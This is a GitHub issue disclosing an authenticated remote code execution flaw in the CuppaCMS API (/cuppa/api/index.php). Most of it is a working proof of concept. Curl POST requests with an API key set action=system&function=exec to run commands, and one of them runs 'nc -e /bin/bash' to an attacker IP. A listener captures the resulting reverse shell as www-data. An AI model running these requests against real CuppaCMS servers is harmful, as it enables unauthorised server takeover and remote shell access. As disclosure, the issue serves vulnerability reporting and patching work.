New issue

Jump to bottom

Authenticated Remote Code Execution in CuppaCMS api #22

Open **badru8612** opened this issue on Jan 25 · 0 comments

badru8612 commented on Jan 25 • edited

An authenticated user can control both parameters (**action** and **function**) from "**/cuppa/api/index.php**".

```
┌──(root💀kali)-[~]
└─# curl -X POST http://192.168.10.115/cuppa/api/index.php -H "key: gbmZ48tzyLfx8PqapQB3el8nGFPqQldS" -d "action=system&function=exec&anything=id"
"uid=33(www-data) gid=33(www-data) groups=33(www-data)"

┌──(root💀kali)-[~]
└─# curl -X POST http://192.168.10.115/cuppa/api/index.php -H "key: gbmZ48tzyLfx8PqapQB3el8nGFPqQldS" -d "action=system&function=exec&anything=which+nc"
"\/usr\/bin\/nc"
```

```
┌──(root💀kali)-[~]
└─# curl -X POST http://192.168.10.115/cuppa/api/index.php -H "key: gbmZ48tzyLfx8PqapQB3el8nGFPqQldS" -d "action=system&function=exec&anything=nc%20-e%20/bin/bash%20192.168.10.108%209090"


┌──(root💀kali)-[~]
└─# nc -nlvp 9090
listening on [any] 9090 ...
connect to [192.168.10.108] from (UNKNOWN) [192.168.10.115] 50816
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@debian10:/var/www/html/cuppa/api$ whoami;id;hostname
whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
debian10
www-data@debian10:/var/www/html/cuppa/api$
```

Reference: https://github.com/badru8612/Authenticated-RCE-CuppaCMS

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant